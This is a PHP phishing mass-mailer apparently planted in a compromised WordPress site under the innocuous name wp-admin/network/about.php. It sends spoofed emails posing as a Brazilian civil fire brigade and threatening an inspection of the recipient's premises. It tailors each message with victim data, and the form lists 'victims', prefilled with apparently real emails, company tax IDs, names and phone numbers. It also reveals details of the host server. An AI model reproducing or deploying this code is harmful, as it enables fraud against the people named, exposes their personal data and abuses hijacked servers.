File: /home/rockyroadprintin/public_html/wp-admin/network/about.php
<?php
@ignore_user_abort(TRUE);
error_reporting(0);
@set_time_limit(0);
// Fun��o para gerar um n�mero aleat�rio
function random_num(){
$n = '';
for($x = 0; $x < 4; $x++){
$n .= rand(1,9);
}
return mt_rand(1,2) . $n;
}
// Fun��o para gerar uma string aleat�ria de letras e n�meros
function random_ref(){
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$length = rand(6,10);
$ref = '';
for ($i = 0; $i < $length; $i++) {
$ref .= $chars[rand(0, strlen($chars) - 1)];
}
return $ref;
}
$testa = $_POST['veio'];
if ($testa != "") {
$nome = $_POST['nome'];
$nome = str_replace("%random_num%", random_num(), $nome);
$de = $_POST['de'];
$de = str_replace("%random_num%", random_num(), $de);
$to = $_POST['emails'];
$subject = $_POST['assunto'];
$message = $_POST['html'];
// Headers otimizados, usando iso-8859-1 como no goods.php
$headers = "From: \"$nome\" <$de>\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "X-Mailer: PHP/".phpversion()."\r\n";
$headers .= "Reply-To: <$de>\r\n";
$headers .= "Return-Path: <$de>\r\n";
$headers .= "X-Sender: $de\r\n";
$headers .= "X-Priority: 3 (Normal)\r\n";
$headers .= "X-MSMail-Priority: Normal\r\n";
$headers .= "Message-ID: <" . sha1($de . time()) . "@" . $_SERVER['SERVER_NAME'] . ">\r\n";
$headers .= "Date: " . gmdate('D, d M Y H:i:s O') . "\r\n";
$headers .= "X-Originating-IP: [" . $_SERVER['SERVER_ADDR'] . "]\r\n";
// Obter os dados dos emails diretamente do formul�rio
$lines = explode("\n", $to);
$i = 0;
$count = 1;
$ok = "ok";
while(isset($lines[$i])) {
$line = trim($lines[$i]);
if (!$line) {
$i++;
continue;
}
// Dividir a linha em partes
list($current_email, $cnpj, $razao, $telefone, $socio) = explode(';', $line) + [null, null, null, null, null];
$current_email = trim($current_email);
// Data e hora atual
$dataHora = date("d/m/Y H:i:s");
if ($current_email) {
// Gerar ref aleat�rio
$ref = random_ref();
// Substituir as tags no assunto e mensagem
$current_subject = str_replace(['{{cnpj}}', '{{razao}}', '{{telefone}}', '{{socio}}', '%EMAIL%', '%random_num%', '%date%'],
[trim($cnpj), trim($razao), trim($telefone), trim($socio), $current_email, random_num(), $dataHora],
$subject);
$current_message = str_replace(['{{cnpj}}', '{{razao}}', '{{telefone}}', '{{socio}}', '%EMAIL%', '%random_num%', '%date%'],
[trim($cnpj), trim($razao), trim($telefone), trim($socio), $current_email, random_num(), $dataHora],
$message);
// Adicionar "Ref: xxxxxx" no in�cio do assunto e data/hora no final
$current_subject = "Ref: " . $ref . " - " . $current_subject . " - " . $dataHora;
$current_message = stripslashes($current_message);
// Enviar o email
if(mail($current_email, $current_subject, $current_message, $headers))
echo "* Numero: $count <b>".$current_email."</b> <font color=green>OK</font><br><hr>";
else
echo "* Numero: $count <b>".$current_email."</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
} else {
echo "* Numero: $count <b>".$line."</b> <font color=orange>EMAIL N�O ENCONTRADO</font><br><hr>";
}
$i++;
$count++;
}
if($ok == "ok")
echo "";
}
?>
<html>
<head>
<title>Envio de Email</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style>
body {
margin: 0;
font-family: Arial, Helvetica, sans-serif;
background-color: #f2f2f2;
color: #333;
}
.container {
max-width: 600px;
margin: 0 auto;
padding: 20px;
background-color: #fff;
box-shadow: 0 4px 8px rgba(0,0,0,0.1);
border-radius: 8px;
margin-top: 30px;
}
header {
background-color: #4CAF50;
color: #fff;
text-align: center;
padding: 10px 0;
border-radius: 8px 8px 0 0;
}
h1 {
font-size: 24px;
margin: 0;
}
form {
margin-top: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
}
input[type="text"],
textarea {
width: calc(100% - 20px);
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 14px;
}
textarea {
resize: vertical;
}
input[type="submit"] {
background-color: #4CAF50;
color: #fff;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
input[type="submit"]:hover {
background-color: #45a049;
}
.alerta {
color: #990000;
font-size: 12px;
margin-top: -10px;
}
.info {
font-size: 12px;
color: #555;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<header>
<h1>Envio de Emails phpmail</h1>
</header>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<input type="hidden" name="veio" value="sim">
<label for="nome">De / Nome:</label>
<input name="nome" type="text" id="nome" value="Bombeiro Civil %random_num%">
<label for="de">De / Email:</label>
<input name="de" type="text" id="de" value="Bombeiro.Civil%random_num%@example.com">
<label for="assunto">Assunto:</label>
<input name="assunto" type="text" id="assunto" value="%EMAIL%, haver� uma averigua��o em suas instala�es %random_num%">
<label for="html">C�digo HTML:</label>
<textarea name="html" id="html" rows="8"></textarea>
<span class="alerta">*Lembrete: texto em HTML</span>
<label for="emails">Coloque o email de suas v�timas abaixo:</label>
<textarea name="emails" id="emails" rows="8">carlosgonzales_moratin@outlook.com;76704550000153;CONDOMINIO EDIFICIO OREGON;(47) 33677777 / (47) 33671704;
ccrlos.breem@bol.com.br;18133035000164;PEDRALLI STACKE RESTAURANTE LTDA;(47) 84888103 / (47) 84061425;JOAO MIGUEL PEIXOTO DA SILVA STACKE
thomasmartinsconsultoria@gmail.com;15204344000190;AUTO POSTO BR A.G. LTDA;(47) 30813532;SAFIRA ZIMMERMANN</textarea>
<span class="alerta">*Separado por quebra de linha</span>
<input type="submit" name="Submit" value="Enviar">
</form>
<div class="info">
Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
Endere�o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
</div>
</div>
</body>
</html>